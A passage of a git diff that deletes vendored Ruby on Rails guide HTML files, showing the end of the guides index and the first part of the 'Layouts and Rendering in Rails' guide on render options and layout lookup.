-<div class="sidebar-content">
-<div class="sidebar-title"><a href="association_basics.html">Active Record Associations</a></div>
-<div class="para"><p>This guide covers all the associations provided by Active Record.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="finders.html">Active Record Finders</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/16">Lighthouse Ticket</a></td>
-</tr></table>
-</div>
-<div class="para"><p>This guide covers the find method defined in ActiveRecord::Base, as well as named scopes.</p></div>
-</div></div>
-<h2>Views</h2>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></div>
-<div class="para"><p>This guide covers the basic layout features of Action Controller and Action View,
-including rendering and redirecting, using <tt>content_for</tt> blocks, and working
-with partials.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="form_helpers.html">Action View Form Helpers</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/1">Lighthouse Ticket</a></td>
-</tr></table>
-</div>
-<div class="para"><p>Guide to using built in Form helpers.</p></div>
-</div></div>
-<h2>Controllers</h2>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="routing_outside_in.html">Rails Routing from the Outside In</a></div>
-<div class="para"><p>This guide covers the user-facing features of Rails routing. If you want to
-understand how to use routing in your own Rails applications, start here.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="actioncontroller_basics.html">Basics of Action Controller</a></div>
-<div class="para"><p>This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="caching_with_rails.html">Rails Caching</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/10">Lighthouse Ticket</a></td>
-</tr></table>
-</div>
-<div class="para"><p>This guide covers the three types of caching that Rails provides by default.</p></div>
-</div></div>
-<h2>Digging Deeper</h2>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="testing_rails_applications.html">Testing Rails Applications</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/8">Lighthouse Ticket</a></td>
-</tr></table>
-</div>
-<div class="para"><p>This is a rather comprehensive guide to doing both unit and functional tests
-in Rails. It covers everything from &#8220;What is a test?&#8221; to the testing APIs.
-Enjoy.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="security.html">Securing Rails Applications</a></div>
-<div class="para"><p>This guide describes common security problems in web applications and how to
-avoid them with Rails.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="debugging_rails_applications.html">Debugging Rails Applications</a></div>
-<div class="para"><p>This guide describes how to debug Rails applications. It covers the different
-ways of achieving this and how to understand what is happening "behind the scenes"
-of your code.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="benchmarking_and_profiling.html">Benchmarking and Profiling Rails Applications</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/4">Lighthouse Ticket</a></td>
-</tr></table>
-</div>
-<div class="para"><p>This guide covers ways to analyze and optimize your running Rails code.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="creating_plugins.html">The Basics of Creating Rails Plugins</a></div>
-<div class="para"><p>This guide covers how to build a plugin to extend the functionality of Rails.</p></div>
-</div></div>
-<div class="para"><p>Authors who have contributed to complete guides are listed <a href="authors.html">here</a>.</p></div>
-<div class="para"><p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-Noncommercial-Share Alike 3.0  License</a></p></div>
-</div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/layouts_and_rendering.html b/vendor/rails/railties/doc/guides/html/layouts_and_rendering.html
deleted file mode 100644
index 7138c458..00000000
--- a/vendor/rails/railties/doc/guides/html/layouts_and_rendering.html
+++ /dev/null
@@ -1,1406 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Layouts and Rendering in Rails</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_overview_how_the_pieces_fit_together">Overview: How the Pieces Fit Together</a>
-					</li>
-					<li>
-					<a href="#_creating_responses">Creating Responses</a>
-						<ul>
-						
-							<li><a href="#_rendering_by_default_convention_over_configuration_in_action">Rendering by Default: Convention Over Configuration in Action</a></li>
-						
-							<li><a href="#_using_tt_render_tt">Using <tt>render</tt></a></li>
-						
-							<li><a href="#_using_tt_redirect_to_tt">Using <tt>redirect_to</tt></a></li>
-						
-							<li><a href="#_using_tt_head_tt_to_build_header_only_responses">Using <tt>head</tt> To Build Header-Only Responses</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_structuring_layouts">Structuring Layouts</a>
-						<ul>
-						
-							<li><a href="#_asset_tags">Asset Tags</a></li>
-						
-							<li><a href="#_understanding_tt_yield_tt">Understanding <tt>yield</tt></a></li>
-						
-							<li><a href="#_using_tt_content_for_tt">Using <tt>content_for</tt></a></li>
-						
-							<li><a href="#_using_partials">Using Partials</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Layouts and Rendering in Rails</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Use the various rendering methods built in to Rails
-</p>
-</li>
-<li>
-<p>
-Create layouts with multiple content sections
-</p>
-</li>
-<li>
-<p>
-Use partials to DRY up your views
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_overview_how_the_pieces_fit_together">1. Overview: How the Pieces Fit Together</h2>
-<div class="sectionbody">
-<div class="para"><p>This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.</p></div>
-<div class="para"><p>In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.</p></div>
-</div>
-<h2 id="_creating_responses">2. Creating Responses</h2>
-<div class="sectionbody">
-<div class="para"><p>From the controller's point of view, there are three ways to create an HTTP response:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Call <tt>render</tt> to create a full response to send back to the browser
-</p>
-</li>
-<li>
-<p>
-Call <tt>redirect_to</tt> to send an HTTP redirect status code to the browser
-</p>
-</li>
-<li>
-<p>
-Call <tt>head</tt> to create a response consisting solely of HTTP headers to send back to the browser
-</p>
-</li>
-</ul></div>
-<div class="para"><p>I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.</p></div>
-<h3 id="_rendering_by_default_convention_over_configuration_in_action">2.1. Rendering by Default: Convention Over Configuration in Action</h3>
-<div class="para"><p>You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your <tt>BooksController</tt> class:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
-  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails will automatically render <tt>app/views/books/show.html.erb</tt> after running the method. In fact, if you have the default catch-all route in place (<tt>map.connect <em>:controller/:action/:id</em></tt>), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for <tt>/books/sale_list</tt>, Rails will render <tt>app/views/books/sale_list.html.erb</tt> in response.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The actual rendering is done by subclasses of <tt>ActionView::TemplateHandlers</tt>. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are <tt>.erb</tt> for ERB (HTML with embedded Ruby), <tt>.rjs</tt> for RJS (javascript with embedded ruby) and <tt>.builder</tt> for Builder (XML generator). You'll also find <tt>.rhtml</tt> used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.</td>
-</tr></table>
-</div>
-<h3 id="_using_tt_render_tt">2.2. Using <tt>render</tt></h3>
-<div class="para"><p>In most cases, the <tt>ActionController::Base#render</tt> method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of <tt>render</tt>. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you want to see the exact results of a call to <tt>render</tt> without needing to inspect it in a browser, you can call <tt>render_to_string</tt>. This method takes exactly the same options as <tt>render</tt>, but it returns a string instead of sending a response back to the browser.</td>
-</tr></table>
-</div>
-<h4 id="_rendering_nothing">2.2.1. Rendering Nothing</h4>
-<div class="para"><p>Perhaps the simplest thing you can do with <tt>render</tt> is to render nothing at all:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>nothing <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You should probably be using the <tt>head</tt> method, discussed later in this guide, instead of <tt>render :nothing</tt>. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.</td>
-</tr></table>
-</div>
-<h4 id="_using_tt_render_tt_with_tt_action_tt">2.2.2. Using <tt>render</tt> with <tt>:action</tt></h4>
-<div class="para"><p>If you want to render the view that corresponds to a different action within the same template, you can use <tt>render</tt> with the <tt>:action</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
-  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>book<span style="color: #990000">])</span>
-      redirect_to<span style="color: #990000">(</span><span style="color: #009900">@book</span><span style="color: #990000">)</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"edit"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If the call to <tt>update_attributes_ fails, calling the +update</tt> action in this controller will render the <tt>edit.html.erb</tt> template belonging to the same controller.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Using <tt>render</tt> with <tt>:action</tt> is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does <em>not</em> run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling <tt>render</tt>.</td>
-</tr></table>
-</div>
-<h4 id="_using_tt_render_tt_with_tt_template_tt">2.2.3. Using <tt>render</tt> with <tt>:template</tt></h4>
-<div class="para"><p>What if you want to render a template from an entirely different controller from the one that contains the action code? You can do that with the <tt>:template</tt> option to <tt>render</tt>, which accepts the full path (relative to <tt>app/views</tt>) of the template to render. For example, if you're running code in an <tt>AdminProductsController</tt> that lives in <tt>app/controllers/admin</tt>, you can render the results of an action to a template in <tt>app/views/products</tt> this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>template <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'products/show'</span>
-</tt></pre></div></div>
-<h4 id="_using_tt_render_tt_with_tt_file_tt">2.2.4. Using <tt>render</tt> with <tt>:file</tt></h4>
-<div class="para"><p>If you want to use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications), you can use the <tt>:file</tt> option to <tt>render</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"/u/apps/warehouse_app/current/app/views/products/show"</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>:file</tt> option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">By default, if you use the <tt>:file</tt> option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the <tt>:layout &#8658; true</tt> option</td>
-</tr></table>
-</div>
-<h4 id="_using_tt_render_tt_with_tt_inline_tt">2.2.5. Using <tt>render</tt> with <tt>:inline</tt></h4>
-<div class="para"><p>The <tt>render</tt> method can do without a view completely, if you're willing to use the <tt>:inline</tt> option to supply ERB as part of the method call. This is perfectly valid:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"&lt;% products.each do |p| %&gt;&lt;p&gt;&lt;%= p.name %&gt;&lt;p&gt;&lt;% end %&gt;"</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.</td>
-</tr></table>
-</div>
-<div class="para"><p>By default, inline rendering uses ERb. You can force it to use Builder instead with the <tt>:type</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"xml.p {'Horrid coding practice!'}"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>builder
-</tt></pre></div></div>
-<h4 id="_using_tt_render_tt_with_tt_update_tt">2.2.6. Using <tt>render</tt> with <tt>:update</tt></h4>
-<div class="para"><p>You can also render javascript-based page updates inline using the <tt>:update</tt> option to <tt>render</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>update <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>page<span style="color: #990000">|</span>
-  page<span style="color: #990000">.</span>replace_html <span style="color: #FF0000">'warning'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Invalid options supplied"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update.</td>
-</tr></table>
-</div>
-<h4 id="_rendering_text">2.2.7. Rendering Text</h4>
-<div class="para"><p>You can send plain text - with no markup at all - back to the browser by using the <tt>:text</tt> option to <tt>render</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"OK"</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">By default, if you use the <tt>:text</tt> option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the <tt>:layout &#8658; true</tt> option</td>
-</tr></table>
-</div>
-<h4 id="_rendering_json">2.2.8. Rendering JSON</h4>
-<div class="para"><p>JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>json <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You don't need to call <tt>to_json</tt> on the object that you want to render. If you use the <tt>:json</tt> option, <tt>render</tt> will automatically call <tt>to_json</tt> for you.</td>
-</tr></table>
-</div>
-<h4 id="_rendering_xml">2.2.9. Rendering XML</h4>
-<div class="para"><p>Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You don't need to call <tt>to_xml</tt> on the object that you want to render. If you use the <tt>:xml</tt> option, <tt>render</tt> will automatically call <tt>to_xml</tt> for you.</td>
-</tr></table>
-</div>
-<h4 id="_rendering_vanilla_javascript">2.2.10. Rendering Vanilla JavaScript</h4>
-<div class="para"><p>Rails can render vanilla JavaScript (as an alternative to using <tt>update</tt> with n <tt>.rjs</tt> file):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>js <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"alert('Hello Rails');"</span>
-</tt></pre></div></div>
-<div class="para"><p>This will send the supplied string to the browser with a MIME type of <tt>text/javascript</tt>.</p></div>
-<h4 id="_options_for_tt_render_tt">2.2.11. Options for <tt>render</tt></h4>
-<div class="para"><p>Calls to the <tt>render</tt> method generally accept four options:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>:content_type</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:layout</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:status</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:location</tt>
-</p>
-</li>
-</ul></div>
-<h5 id="_the_tt_content_type_tt_option">The <tt>:content_type</tt> Option</h5>
-<div class="para"><p>By default, Rails will serve the results of a rendering operation with the MIME content-type of <tt>text/html</tt> (or <tt>application/json</tt> if you use the <tt>:json</tt> option, or <tt>application/xml</tt> for the <tt>:xml</tt> option.). There are times when you might like to change this, and you can do so by setting the <tt>:content_type</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=&gt;</span> filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>content_type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'application/rss'</span>
-</tt></pre></div></div>
-<h5 id="_the_tt_layout_tt_option">The <tt>:layout</tt> Option</h5>
-<div class="para"><p>With most of the options to <tt>render</tt>, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.</p></div>
-<div class="para"><p>You can use the <tt>:layout</tt> option to tell Rails to use a specific file as the layout for the current action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'special_layout'</span>
-</tt></pre></div></div>
-<div class="para"><p>You can also tell Rails to render with no layout at all:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-</tt></pre></div></div>
-<h5 id="_the_tt_status_tt_option">The <tt>:status</tt> Option</h5>
-<div class="para"><p>Rails will automatically generate a response with the correct HTML status code (in most cases, this is <tt>200 OK</tt>). You can use the <tt>:status</tt> option to change this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #993399">500</span>
-render <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>forbidden
-</tt></pre></div></div>
-<div class="para"><p>Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in <tt>actionpack/lib/action_controller/status_codes.rb</tt>. You can also see there how it maps symbols to status codes in that file.</p></div>
-<h5 id="_the_tt_location_tt_option">The <tt>:location</tt> Option</h5>
-<div class="para"><p>You can use the <tt>:location</tt> option to set the HTTP <tt>Location</tt> header:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> photo<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> photo_url<span style="color: #990000">(</span>photo<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h4 id="_finding_layouts">2.2.12. Finding Layouts</h4>
-<div class="para"><p>To find the current layout, Rails first looks for a file in <tt>app/views/layouts</tt> with the same base name as the controller. For example, rendering actions from the <tt>PhotosController</tt> class will use <tt>/app/views/layouts/photos.html.erb</tt>. If there is no such controller-specific layout, Rails will use <tt>/app/views/layouts/application.html.erb</tt>. If there is no <tt>.erb</tt> layout, Rails will use a <tt>.builder</tt> layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.</p></div>
-<h5 id="_specifying_layouts_on_a_per_controller_basis">Specifying Layouts on a per-Controller Basis</h5>
-<div class="para"><p>You can override the automatic layout conventions in your controllers by using the <tt>layout</tt> declaration in the controller. For example:</p></div>
-<div class="listingblock">
